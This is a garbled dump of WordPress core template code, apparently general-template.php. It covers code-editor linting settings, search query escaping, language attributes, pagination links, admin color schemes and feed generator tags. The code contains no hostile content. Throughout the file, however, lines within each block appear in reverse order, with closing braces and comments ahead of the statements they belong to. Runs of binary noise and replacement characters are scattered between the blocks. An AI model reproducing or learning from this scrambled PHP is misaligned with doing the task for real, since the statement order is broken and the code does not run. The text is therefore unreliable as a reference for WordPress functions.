}			}				break;				$type = $mime;			if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {		foreach ( wp_get_mime_types() as $exts => $mime ) {		$extension = strtolower( pathinfo( $args['file'], PATHINFO_EXTENSION ) );	} elseif ( isset( $args['file'] ) && str_contains( basename( $args['file'] ), '.' ) ) {		}			$type = 'text/x-diff';		if ( 'application/x-patch' === $type || 'text/x-patch' === $type ) {		// Remap MIME types to ones that CodeMirror modes will recognize.		$type = $args['type'];	if ( isset( $args['type'] ) ) {	$type = '';	);		),			'attr-unsafe-chars'        => true,			'space-tab-mixed-disabled' => 'tab',			'alt-require'              => true,			'attr-no-duplication'      => true,			'src-not-empty'            => true,			'id-unique'                => true,			'spec-char-escape'         => true,			'tag-pair'                 => true,			'doctype-first'            => false,			'attr-value-double-quotes' => false,			'attr-lowercase'           => true,			'tagname-lowercase'        => true,		'htmlhint'   => array(		),			),				'wp'       => false,				'JSON'     => false,				'jQuery'   => false,				'Backbone' => false,				'_'        => false,			'globals'  => array(			'browser'  => true,			'unused'   => true,			'undef'    => true,			'trailing' => true,			'quotmark' => 'single',			'onevar'   => true,			'nonbsp'   => true,			'noarg'    => true,			'immed'    => true,			'expr'     => true,			'es3'      => true,			'eqnull'   => true,			'eqeqeq'   => true,			'curly'    => true,			'boss'     => true,			// The following are copied from <https://github.com/WordPress/wordpress-develop/blob/4.8.1/.jshintrc>.		'jshint'     => array(		),			'outline-none'              => true,			'known-properties'          => true,			'duplicate-properties'      => true,			'display-property-grouping' => true,			'box-model'                 => true,			'errors'                    => true, // Parsing errors.		'csslint'    => array(		),			'gutters'          => array(),			'direction'        => 'ltr', // Code is shown in LTR even in RTL languages.			),				'Cmd-F'      => 'findPersistent',				'Ctrl-F'     => 'findPersistent',				'Alt-F'      => 'findPersistent',				'Cmd-/'      => 'toggleComment',adA��������sgb^[Z�����cB!�
�
�
�
�
�
�
Z
1


����^E>943���iMC�
�
�
�
w
[
Q
(

�	�	�	�	�	d	H	>		�������`+ ����wmK*	�����[83.������c:����mTMHC����nMHC�����cA@				'matchTags'         => array(				'autoCloseTags'     => true,				'autoCloseBrackets' => true,				'mode'              => 'xml',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( str_contains( $type, 'xml' ) ) {		);			)				'matchBrackets'     => true,				'autoCloseBrackets' => true,				'mode'              => 'sql',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( 'text/x-sql' === $type || 'text/x-mysql' === $type ) {		);			)				),					'bothTags' => true,				'matchTags'         => array(				'matchBrackets'     => true,				'autoCloseTags'     => true,				'autoCloseBrackets' => true,				'mode'              => 'php',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( 'application/x-httpd-php' === $type ) {		);			)				'mode' => 'nginx',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( 'text/nginx' === $type ) {		);			)				'highlightFormatting' => true,				'mode'                => 'markdown',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( 'text/x-markdown' === $type ) {		);			)				'matchBrackets'     => true,				'autoCloseBrackets' => true,				'mode'              => 'jsx',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( str_contains( $type, 'jsx' ) ) {		}			$settings['codemirror']['mode']['json'] = true;		} else {			$settings['codemirror']['mode']['jsonld'] = true;		if ( 'application/ld+json' === $type ) {		);			)				'matchBrackets'     => true,				'autoCloseBrackets' => true,				'lint'              => true,				),					'name' => 'javascript',				'mode'              => array(			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( str_contains( $type, 'json' ) ) {		);			)				'matchBrackets'     => true,				'autoCloseBrackets' => true,				'lint'              => true,				'mode'              => 'javascript',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( 'application/javascript' === $type || 'text/javascript' === $type ) {		);			)				'highlightFormatting' => true,				'mode'                => 'gfm',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( 'text/x-gfm' === $type ) {		}			$settings['htmlhint']['kses'] = wp_kses_allowed_html( 'post' );		if ( ! current_user_can( 'unfiltered_html' ) ) {		);			)				),					'bothTags' => true,				'matchTags'         => array(				'autoCloseTags'     => true,				'autoCloseBrackets' => true,				'lint'              => true,				'mode'              => 'htmlmixed',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( 'text/html' === $type ) {		);			)				'mode' => 'diff',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( 'text/x-diff' === $type ) {		);			)				'matchBrackets'     => true,				'autoCloseBrackets' => true,				'lint'              => false,				'mode'              => $type,			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	if ( in_array( $type, array( 'text/css', 'text/x-scss', 'text/x-less', 'text/x-sass' ), true ) ) {	}		}			}					break;					$type = 'text/plain';				default:				case 'txt':					break;					$type = 'text/x-yaml';				case 'yaml':				case 'yml':					break;ad!x������i_ID?5
����O�
�
�
�
�
�
�
�
L
H
�����U<���t�
|
A

�	�	�	z	x	w	s	1	.	�����\������ok+&���������]Z������eaPL����zw&	���HD������yi		if ( 'text/html' === get_option( 'html_type' ) || 'html' === $doctype ) {	if ( $lang ) {	$lang = get_bloginfo( 'language' );	}		$attributes[] = 'dir="rtl"';	if ( function_exists( 'is_rtl' ) && is_rtl() ) {	$attributes = array();function get_language_attributes( $doctype = 'html' ) { */ * @return string A space-separated list of language attributes. * @param string $doctype Optional. The type of HTML document. Accepts 'xhtml' or 'html'. Default 'html'. * * @since 4.3.0 * * information for the page. * Builds up a set of HTML attributes containing the text direction and language * * Gets the language attributes for the 'html' tag./**}	echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) );	 */	 * @param mixed $search Contents of the search query variable.	 *	 * @since 2.3.0	 *	 * Filters the contents of the search query variable, for display.	/**function the_search_query() { */ * @since 2.1.0 * * for placing in an HTML attribute. * The search query string is passed through esc_attr() to ensure that it is safe * * Displays the contents of the search query variable./**}	return $query;	}		$query = esc_attr( $query );	if ( $escaped ) {	$query = apply_filters( 'get_search_query', get_query_var( 's' ) );	 */	 * @param mixed $search Contents of the search query variable.	 *	 * @since 2.3.0	 *	 * Filters the contents of the search query variable.	/**function get_search_query( $escaped = true ) { */ * @return string *                      Only use when you are later escaping it. Do not use unescaped. * @param bool $escaped Whether the result is escaped. Default true. * * @since 2.3.0 * * for placing in an HTML attribute. * The search query string is passed through esc_attr() to ensure that it is safe * * Retrieves the contents of the search WordPress query variable./**}	return apply_filters( 'wp_code_editor_settings', $settings, $args );	 */	 * }	 *     @type array    $htmlhint   HTMLHint rule overrides.	 *     @type array    $jshint     JSHint rule overrides.	 *     @type array    $csslint    CSSLint rule overrides.	 *     @type array    $codemirror Additional CodeMirror setting overrides.	 *     @type string   $plugin     Plugin being edited when on the plugin file editor.	 *     @type WP_Theme $theme      Theme being edited when on the theme file editor.	 *     @type string   $file       Filename being edited.	 *     @type string   $type       The MIME type of the file to be edited.	 *	 *     Args passed when calling `get_code_editor_settings()`.	 * @param array $args {	 *                        A falsey value disables the editor.	 * @param array $settings The array of settings passed to the code editor.	 *	 * @since 4.9.0	 *	 * Returning a falsey value will disable the syntax-highlighting code editor.	 *	 * Filters settings that are passed into the code editor.	/**	}		);			$value			$settings[ $key ],		$settings[ $key ] = array_merge(	foreach ( wp_array_slice_assoc( $args, array( 'codemirror', 'csslint', 'jshint', 'htmlhint' ) ) as $key => $value ) {	// Let settings supplied via args override any defaults.	}		$settings['codemirror']['gutters'][] = 'CodeMirror-lint-markers';	if ( ! empty( $settings['codemirror']['lint'] ) ) {	}		$settings['codemirror']['mode'] = $type;	} else {		);			)				'mode' => 'yaml',			array(			$settings['codemirror'],		$settings['codemirror'] = array_merge(	} elseif ( 'text/x-yaml' === $type ) {		);			)				),					'bothTags' => true,ad~W���w<854���}y0�
�
�
�
�
�
f
c

�����-)�������<�
�
J
3
0
�	�	P		���F���]���k"���W�l��}LI��\����~} * @global WP_Query   $wp_query   WordPress Query object. * * @since 4.9.0 Added the `aria_current` argument. * @since 2.1.0 * * anchor tag. * The text strings are added before and after the page number - within the * numbered links so that screen reader users understand what the links are for. * augment the links themselves. Typically this might be to add context to the * The 'before_page_number' and 'after_page_number' arguments allow users to * * and see add_query_arg() for more information. * It is possible to add query vars to the link by using the 'add_args' argument * * numbers to either side of current page, but not including current page. * and the end list edges, by default is 1. The 'mid_size' argument is how many * arguments. The 'end_size' argument is how many numbers on either the start * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size' * instead of a short list of the pages near the current page. By default, the * If the 'show_all' argument is set to true, then it will show all of the pages * * by setting the 'next_text' argument. * previous text, by using the 'prev_text' argument. You can set the next text * 'prev_next' argument to true, which it is by default. You can set the * You can include the previous and next links in the list by setting the * * number. * and the '%#%' is also required. The '%#%' will be replaced with the page * the 'format' argument. An example for the 'format' argument is "?page=%#%" * and the '%_%' is required. The '%_%' will be replaced by the contents of in * An example of the 'base' argument is "http://example.com/all_posts.php%_%" * * 'current' argument is the current page number and is also an integer. * The 'total' argument is the total amount of pages and is an integer. The * * an unordered HTML list. * control of display. The 'list' value will place all of the paginated links in * 'array' value will return an array of the paginated link list to offer full * character. The other possible values are either 'array' or 'list'. The * 'plain', which is just a string with the links separated by a newline * The 'type' argument controls format of the returned value. The default is * * archive post pages. * the page number. It is however, most likely and by default, to be used on the * create the paginated links. The 'format' argument is then used for replacing * area. The 'base' argument is used to reference the url, which will be used to * Technically, the function can be used to create paginated link list for any * * Retrieves paginated links for archive post pages./**}	echo get_language_attributes( $doctype );function language_attributes( $doctype = 'html' ) { */ * @param string $doctype Optional. The type of HTML document. Accepts 'xhtml' or 'html'. Default 'html'. * * @since 4.3.0 Converted into a wrapper for get_language_attributes(). * @since 2.1.0 * * information for the page. * Builds up a set of HTML attributes containing the text direction and language * * Displays the language attributes for the 'html' tag./**}	return apply_filters( 'language_attributes', $output, $doctype );	 */	 * @param string $doctype The type of HTML document (xhtml|html).	 * @param string $output A space-separated list of language attributes.	 *	 * @since 4.3.0 Added the `$doctype` parameter.	 * @since 2.5.0	 *	 * Filters the language attributes for display in the 'html' tag.	/**	$output = implode( ' ', $attributes );	}		}			$attributes[] = 'xml:lang="' . esc_attr( $lang ) . '"';		if ( 'text/html' !== get_option( 'html_type' ) || 'xhtml' === $doctype ) {		}			$attributes[] = 'lang="' . esc_attr( $lang ) . '"';ad	!?���DA��0�
�
 
�^��]�
�
;
�		)	�o	�PL$��`_�{zG�n���_	����`,����]?! 		'before_page_number' => '',		'add_fragment'       => '',		'add_args'           => array(), // Array of query args to add.		'type'               => 'plain',		'mid_size'           => 2,		'end_size'           => 1,		'next_text'          => __( 'Next &raquo;' ),		'prev_text'          => __( '&laquo; Previous' ),		'prev_next'          => true,		'show_all'           => false,		'aria_current'       => 'page',		'current'            => $current,		'total'              => $total,		'format'             => $format, // ?page=%#% : %#% is replaced by the page number.		'base'               => $pagenum_link, // http://example.com/all_posts.php%_% : %_% is replaced by format (below).	$defaults = array(	$format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';	$format  = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';	// URL base depends on permalink settings.	$pagenum_link = trailingslashit( $url_parts[0] ) . '%_%';	// Append the format placeholder to the base URL.	$current = get_query_var( 'paged' ) ? (int) get_query_var( 'paged' ) : 1;	$total   = isset( $wp_query->max_num_pages ) ? $wp_query->max_num_pages : 1;	// Get max pages and current page out of the current query, if available.	$url_parts    = explode( '?', $pagenum_link );	$pagenum_link = html_entity_decode( get_pagenum_link() );	// Setting up default values based on the current URL.	global $wp_query, $wp_rewrite;function paginate_links( $args = '' ) { */ *                              Void if total number of pages is less than 2. * @return string|string[]|void String of page links or array of page links, depending on 'type' argument. * } *     @type string $after_page_number  A string to append after the page number. Default empty. *     @type string $before_page_number A string to appear before the page number. Default empty. *     @type string $add_fragment       A string to append to each link. Default empty. *     @type array  $add_args           An array of query args to add. Default false. *                                      'array' and 'list'. Default is 'plain'. *     @type string $type               Controls format of the returned value. Possible values are 'plain', *     @type string $next_text          The next page text. Default 'Next &raquo;'. *     @type string $prev_text          The previous page text. Default '&laquo; Previous'. *     @type bool   $prev_next          Whether to include the previous and next links in the list. Default true. *     @type int    $mid_size           How many numbers to either side of the current pages. Default 2. *                                      Default 1. *     @type int    $end_size           How many numbers on either the start and the end list edges. *     @type bool   $show_all           Whether to show all pages. Default false. *                                      'step', 'location', 'date', 'time', 'true', 'false'. Default is 'page'. *     @type string $aria_current       The value for the aria-current attribute. Possible values are 'page', *     @type int    $current            The current page number. Default is 'paged' query var or 1. *                                      `max_num_pages` or 1. *     @type int    $total              The total amount of pages. Default is the value WP_Query's *     @type string $format             Format for the pagination structure. Default empty. *     @type string $base               Base of the paginated url. Default empty. * *     Optional. Array or string of arguments for generating paginated links for archives. * @param string|array $args { * * @global WP_Rewrite $wp_rewrite WordPress rewrite component.ad%q������gdc��zA�
�
�
H

���{xwI)
��}liC+�
�
�
�
�
y
#
�	�	�	�	�	�	i	5	.	������_ID<;���q�\
����lkN��@98&�����{rq3���{wUT9			'<a class="next page-numbers" href="%s">%s</a>',		$page_links[] = sprintf(		$link .= $args['add_fragment'];		}			$link = add_query_arg( $add_args, $link );		if ( $add_args ) {		$link = str_replace( '%#%', $current + 1, $link );		$link = str_replace( '%_%', $args['format'], $args['base'] );	if ( $args['prev_next'] && $current && $current < $total ) :	endfor;		endif;			endif;				$dots = false;				$page_links[] = '<span class="page-numbers dots">' . __( '&hellip;' ) . '</span>';			elseif ( $dots && ! $args['show_all'] ) :				$dots = true;				);					$args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number']					esc_url( apply_filters( 'paginate_links', $link ) ),					/** This filter is documented in wp-includes/general-template.php */					'<a class="page-numbers" href="%s">%s</a>',				$page_links[] = sprintf(				$link .= $args['add_fragment'];				}					$link = add_query_arg( $add_args, $link );				if ( $add_args ) {				$link = str_replace( '%#%', $n, $link );				$link = str_replace( '%_%', 1 === $n ? '' : $args['format'], $args['base'] );			if ( $args['show_all'] || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :		else :			$dots = true;			);				$args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number']				esc_attr( $args['aria_current'] ),				'<span aria-current="%s" class="page-numbers current">%s</span>',			$page_links[] = sprintf(		if ( $n === $current ) :	for ( $n = 1; $n <= $total; $n++ ) :	endif;		);			$args['prev_text']			esc_url( apply_filters( 'paginate_links', $link ) ),			 */			 * @param string $link The paginated link URL.			 *			 * @since 3.0.0			 *			 * Filters the paginated links for the given archive pages.			/**			'<a class="prev page-numbers" href="%s">%s</a>',		$page_links[] = sprintf(		$link .= $args['add_fragment'];		}			$link = add_query_arg( $add_args, $link );		if ( $add_args ) {		$link = str_replace( '%#%', $current - 1, $link );		$link = str_replace( '%_%', 2 === $current ? '' : $args['format'], $args['base'] );	if ( $args['prev_next'] && $current && 1 < $current ) :	$dots       = false;	$page_links = array();	$r          = '';	$add_args   = $args['add_args'];	}		$mid_size = 2;	if ( $mid_size < 0 ) {	$mid_size = (int) $args['mid_size'];	}		$end_size = 1;	if ( $end_size < 1 ) {	$end_size = (int) $args['end_size']; // Out of bounds? Make it the default.	$current  = (int) $args['current'];	}		return;	if ( $total < 2 ) {	$total = (int) $args['total'];	// Who knows what else people pass in $args.	}		$args['add_args'] = array_merge( $args['add_args'], urlencode_deep( $url_query_args ) );		}			unset( $url_query_args[ $format_arg ] );		foreach ( $format_args as $format_arg => $format_arg_value ) {		// Remove the format argument from the array of query arguments, to avoid overwriting custom format.		wp_parse_str( $url_parts[1], $url_query_args );		// Find the query args of the requested URL.		wp_parse_str( $format_query, $format_args );		$format_query = isset( $format[1] ) ? $format[1] : '';		$format       = explode( '?', str_replace( '%_%', $args['format'], $args['base'] ) );		// Find the format argument.	if ( isset( $url_parts[1] ) ) {	// Merge additional query vars found in the original URL into 'add_args' array.	}		$args['add_args'] = array();	if ( ! is_array( $args['add_args'] ) ) {	$args = wp_parse_args( $args, $defaults );	);		'after_page_number'  => '',ad<���je]\@0	�����xRHED?�
�
�
�
�
A
<


������wt�������U%�
|
<
"
�	�	�	s	+	&	"	���\YX'
���������6�������h@?*�����w_[WVA6����mUQML7+���}eMIED/%����pX@<		)			'current' => '#fff',			'focus'   => '#fff',			'base'    => '#e5f8ff',		array(		array( '#096484', '#4796b3', '#52accc', '#74B6CE' ),		admin_url( "css/colors/blue/colors$suffix.css" ),		_x( 'Blue', 'admin color scheme' ),		'blue',	wp_admin_css_color(	);		)			'current' => '#fff',			'focus'   => '#fff',			'base'    => '#f3f1f1',		array(		array( '#1e1e1e', '#3858e9', '#7b90ff' ),		admin_url( "css/colors/modern/colors$suffix.css" ),		_x( 'Modern', 'admin color scheme' ),		'modern',	wp_admin_css_color(	);		)			'current' => '#ccc',			'focus'   => '#ccc',			'base'    => '#999',		array(		array( '#e5e5e5', '#999', '#d64e07', '#04a4cc' ),		admin_url( "css/colors/light/colors$suffix.css" ),		_x( 'Light', 'admin color scheme' ),		'light',	wp_admin_css_color(	);		)			'current' => '#fff',			'focus'   => '#72aee6',			'base'    => '#a7aaad',		array(		array( '#1d2327', '#2c3338', '#2271b1', '#72aee6' ),		false,		_x( 'Default', 'admin color scheme' ),		'fresh',	wp_admin_css_color(	$suffix .= SCRIPT_DEBUG ? '' : '.min';	$suffix  = is_rtl() ? '-rtl' : '';function register_admin_color_schemes() { */ * @since 3.0.0 * * @see wp_admin_css_color() * * of the dashboard which allows for styling the admin menu and toolbar. * Registers the initial set of eight color schemes in the Profile section * * Registers the default admin color schemes./**}	);		'icon_colors' => $icons,		'colors'      => $colors,		'url'         => $url,		'name'        => $name,	$_wp_admin_css_colors[ $key ] = (object) array(	}		$_wp_admin_css_colors = array();	if ( ! isset( $_wp_admin_css_colors ) ) {	global $_wp_admin_css_colors;function wp_admin_css_color( $key, $name, $url, $colors = array(), $icons = array() ) { */ * } *     @type string $current SVG icon color of current admin menu link. *     @type string $focus   SVG icon color on focus. *     @type string $base    SVG icon base color. * *     Optional. CSS color definitions used to color any SVG icons. * @param array  $icons { *                       to give the user a feel for the theme. * @param array  $colors Optional. An array of CSS color definition strings which are used * @param string $url    The URL of the CSS file containing the color scheme. * @param string $name   The name of the theme. * @param string $key    The unique key for this theme. * * @global array $_wp_admin_css_colors * * @since 2.5.0 * *     ) ); *         '#07273E', '#14568A', '#D54E21', '#2683AE' *     wp_admin_css_color( 'classic', __( 'Classic' ), admin_url( "css/colors-classic.css" ), array( * * Allows a plugin to register a new admin color scheme. For example: * * Registers an admin color scheme css file./**}	return $r;	$r = apply_filters( 'paginate_links_output', $r, $args );	 */	 *                     for information on accepted arguments.	 * @param array  $args An array of arguments. See paginate_links()	 * @param string $r    HTML output.	 *	 * @since 5.7.0	 *	 * Filters the HTML output of paginated links for archives.	/**	}			break;			$r = implode( "\n", $page_links );		default:			break;			$r .= "</li>\n</ul>\n";			$r .= implode( "</li>\n\t<li>", $page_links );			$r .= "<ul class='page-numbers'>\n\t<li>";		case 'list':			return $page_links;		case 'array':	switch ( $args['type'] ) {	endif;		);			$args['next_text']			esc_url( apply_filters( 'paginate_links', $link ) ),			/** This filter is documented in wp-includes/general-template.php */adx�����v?6�������`) �
�
�
�
�
�
�
}
D



��������i4���������W!�
�
�
�
�
�
�
�
�
�
T
Q


�	�	�	�	�	Z	5			�����gcRN���kihd�{$���s&�����(��|9���l&			wp_print_styles( $handle );			// We already printed the style queue. Print this one immediately.		if ( $force_echo || did_action( 'wp_print_styles' ) ) {	if ( wp_styles()->query( $handle ) ) {	$handle = str_starts_with( $file, 'css/' ) ? substr( $file, 4 ) : $file;	// For backward compatibility.function wp_admin_css( $file = 'wp-admin', $force_echo = false ) { */ * @param bool   $force_echo Optional. Force the stylesheet link to be printed rather than enqueued. *                           to wp-admin/. Defaults to 'wp-admin'. * @param string $file       Optional. Style handle name or file name (without ".css" extension) relative * * @since 2.3.0 * * stylesheet link to that generated URL is printed. * $file is a file relative to wp-admin/ without its ".css" extension. A * (first) parameter does not correspond to a registered CSS file, we assume * For backward compatibility with WordPress 2.3 calling method: If the $file * * (second) parameter. * be printed. Printing may be forced by passing true as the $force_echo * enqueued. If the {@see 'wp_print_styles'} action has been called, the CSS link will * {@see 'wp_print_styles'} action has *not* yet been called, the CSS file will be * "Intelligently" decides to enqueue or to print the CSS file. If the * * Enqueues or directly prints a stylesheet link to the specified CSS file./**}	return apply_filters( 'wp_admin_css_uri', $_file, $file );	 */	 * @param string $file  Relative path to the file, minus its ".css" extension.	 * @param string $_file Relative path to the file with query arguments attached.	 *	 * @since 2.3.0	 *	 * Filters the URI of a WordPress admin CSS file.	/**	$_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file );	}		$_file = admin_url( "$file.css" );	} else {		$_file = "./$file.css";	if ( defined( 'WP_INSTALLING' ) ) {function wp_admin_css_uri( $file = 'wp-admin' ) { */ * @return string * @param string $file file relative to wp-admin/ without its ".css" extension. * * @since 2.3.0 * * @see WP_Styles::_css_href() and its {@see 'style_loader_src'} filter. * * Displays the URL of a WordPress admin CSS file./**}	);		)			'current' => '#fff',			'focus'   => '#fff',			'base'    => '#f3f2f1',		array(		array( '#46403c', '#59524c', '#c7a589', '#9ea476' ),		admin_url( "css/colors/coffee/colors$suffix.css" ),		_x( 'Coffee', 'admin color scheme' ),		'coffee',	wp_admin_css_color(	);		)			'current' => '#fff',			'focus'   => '#fff',			'base'    => '#f2fcff',		array(		array( '#627c83', '#738e96', '#9ebaa0', '#aa9d88' ),		admin_url( "css/colors/ocean/colors$suffix.css" ),		_x( 'Ocean', 'admin color scheme' ),		'ocean',	wp_admin_css_color(	);		)			'current' => '#fff',			'focus'   => '#fff',			'base'    => '#ece6f6',		array(		array( '#413256', '#523f6d', '#a3b745', '#d46f15' ),		admin_url( "css/colors/ectoplasm/colors$suffix.css" ),		_x( 'Ectoplasm', 'admin color scheme' ),		'ectoplasm',	wp_admin_css_color(	);		)			'current' => '#fff',			'focus'   => '#fff',			'base'    => '#f3f1f1',		array(		array( '#b43c38', '#cf4944', '#dd823b', '#ccaf0b' ),		admin_url( "css/colors/sunrise/colors$suffix.css" ),		_x( 'Sunrise', 'admin color scheme' ),		'sunrise',	wp_admin_css_color(	);		)			'current' => '#fff',			'focus'   => '#fff',			'base'    => '#f1f2f3',		array(		array( '#25282b', '#363b3f', '#69a8bb', '#e14d43' ),		admin_url( "css/colors/midnight/colors$suffix.css" ),		_x( 'Midnight', 'admin color scheme' ),		'midnight',	wp_admin_css_color(	);ad!���������Q*&% ���~zi �
r
m
-
,
���nih!�������M�
�
�
�
�
�
i
h
K





�	�	�	�	�	�	m	h	5	1	 		������[X
����@<�����1�����|@=��}zjg����Y5*&%������ujTA6! 			case 'atom_head':				break;				$type = 'rdf';			case 'rdf_header':				break;				$type = 'comment';			case 'opml_head':			case 'rss_head':				break;				$type = 'rss2';			case 'commentsrss2_head':			case 'rss2_head':		switch ( $current_filter ) {		}			return;		if ( empty( $current_filter ) ) {		$current_filter = current_filter();	if ( empty( $type ) ) {function get_the_generator( $type = '' ) { */ * @return string|void The HTML content for the generator. * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export). * * @since 2.5.0 * * {@see 'get_the_generator_$type'} filter. * for a plugin to filter generators on an individual basis using the * Returns the correct generator type for the requested output format. Allows * * Creates the generator XML or Comment for RSS, ATOM, etc./**}	echo apply_filters( 'the_generator', get_the_generator( $type ), $type ) . "\n";	 */	 *                               'xhtml', 'atom', 'rss2', 'rdf', 'comment', 'export'.	 * @param string $type           The type of generator to output. Accepts 'html',	 * @param string $generator_type The generator output.	 *	 * @since 2.5.0	 *	 * Filters the output of the XHTML generator tag, for display.	/**function the_generator( $type ) { */ * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export). * * @since 2.5.0 * * for a plugin to filter generators overall the {@see 'the_generator'} filter. * Returns the correct generator type for the requested output format. Allows * * Displays the generator XML or Comment for RSS, ATOM, etc./**}	the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );	 */	 * @param string $generator_type The XHTML generator.	 *	 * @since 2.5.0	 *	 * Filters the output of the XHTML generator tag.	/**function wp_generator() { */ * @since 2.5.0 * * See {@see 'wp_head'}. * * Displays the XHTML generator that is generated on the wp_head hook./**}	}		add_action( 'admin_head', '_thickbox_path_admin_subfolder' );	if ( is_network_admin() ) {	wp_enqueue_style( 'thickbox' );	wp_enqueue_script( 'thickbox' );function add_thickbox() { */ * @since 2.5.0 * * require array('thickbox') to ensure it is loaded after. * file similar to media-upload.js. That file should * If any of the settings need to be changed, this can be done with another js * * Enqueues the default ThickBox js and css./**}	}		echo apply_filters( 'wp_admin_css', $rtl_stylesheet_link, "$file-rtl" );		/** This filter is documented in wp-includes/general-template.php */		);			esc_url( wp_admin_css_uri( "$file-rtl" ) )			"<link rel='stylesheet' href='%s' type='text/css' />\n",		$rtl_stylesheet_link = sprintf(	if ( function_exists( 'is_rtl' ) && is_rtl() ) {	echo apply_filters( 'wp_admin_css', $stylesheet_link, $file );	 */	 *                                relative to wp-admin/. Defaults to 'wp-admin'.	 * @param string $file            Style handle name or filename (without ".css" extension)	 * @param string $stylesheet_link HTML link element for the stylesheet.	 * @since 2.3.0	 *	 * will be used instead.	 * If the site is set to display right-to-left, the RTL stylesheet link	 *	 * Filters the stylesheet link to the specified CSS file.	/**	);		esc_url( wp_admin_css_uri( $file ) )		"<link rel='stylesheet' href='%s' type='text/css' />\n",	$stylesheet_link = sprintf(	}		return;		}			wp_enqueue_style( $handle );			// Add to style queue.		} else {ad5�i�������������
�
�
i
_
Q
���RH7�����gc�
�
�
�
�
d
E
%


�	�	�	^	"		������b_OL��P)���dba]52�����K#��zv3������ifVS��S+��� */ * @return string HTML attribute or empty string. *                        Default true. * @param bool  $display  Optional. Whether to echo or just return the string. *                        Default true. * @param mixed $current  Optional. The other value to compare if not just true. * @param mixed $disabled One of the values to compare. * * @since 3.0.0 * * Compares the first two arguments and if identical marks as disabled. * * Outputs the HTML disabled attribute./**}	return __checked_selected_helper( $selected, $current, $display, 'selected' );function selected( $selected, $current = true, $display = true ) { */ * @return string HTML attribute or empty string. *                        Default true. * @param bool  $display  Optional. Whether to echo or just return the string. *                        Default true. * @param mixed $current  Optional. The other value to compare if not just true. * @param mixed $selected One of the values to compare. * * @since 1.0.0 * * Compares the first two arguments and if identical marks as selected. * * Outputs the HTML selected attribute./**}	return __checked_selected_helper( $checked, $current, $display, 'checked' );function checked( $checked, $current = true, $display = true ) { */ * @return string HTML attribute or empty string. *                       Default true. * @param bool  $display Optional. Whether to echo or just return the string. *                       Default true. * @param mixed $current Optional. The other value to compare if not just true. * @param mixed $checked One of the values to compare. * * @since 1.0.0 * * Compares the first two arguments and if identical marks as checked. * * Outputs the HTML checked attribute./**}	return apply_filters( "get_the_generator_{$type}", $gen, $type );	 */	 *                     'rss2', 'rdf', 'comment', 'export'.	 * @param string $type The type of generator. Accepts 'html', 'xhtml', 'atom',	 * @param string $gen  The HTML markup output to wp_head().	 *	 * @since 2.5.0	 *	 *  - `get_the_generator_xhtml`	 *  - `get_the_generator_rss2`	 *  - `get_the_generator_rdf`	 *  - `get_the_generator_html`	 *  - `get_the_generator_export`	 *  - `get_the_generator_comment`	 *  - `get_the_generator_atom`	 *	 * Possible hook names include:	 *	 * The dynamic portion of the hook name, `$type`, refers to the generator type.	 *	 * Filters the HTML for the retrieved generator type.	/**	}			break;			$gen = '<!-- generator="WordPress/' . esc_attr( get_bloginfo_rss( 'version' ) ) . '" created="' . gmdate( 'Y-m-d H:i' ) . '" -->';		case 'export':			break;			$gen = '<!-- generator="WordPress/' . esc_attr( get_bloginfo( 'version' ) ) . '" -->';		case 'comment':			break;			$gen = '<admin:generatorAgent rdf:resource="' . sanitize_url( 'https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) ) . '" />';		case 'rdf':			break;			$gen = '<generator>' . sanitize_url( 'https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) ) . '</generator>';		case 'rss2':			break;			$gen = '<generator uri="https://wordpress.org/" version="' . esc_attr( get_bloginfo_rss( 'version' ) ) . '">WordPress</generator>';		case 'atom':			break;			$gen = '<meta name="generator" content="WordPress ' . esc_attr( get_bloginfo( 'version' ) ) . '" />';		case 'xhtml':			break;			$gen = '<meta name="generator" content="WordPress ' . esc_attr( get_bloginfo( 'version' ) ) . '">';		case 'html':	switch ( $type ) {	}		}				break;				$type = 'atom';			case 'app_head':			case 'comments_atom_head':ad+t�mkjf>;�����H�
�
e
a

����r'���xDBA=�
�
�
�
�
�
�
I

�	f	4	0	5�������������QN>;���z0/*������B@?;�����m9����vra]
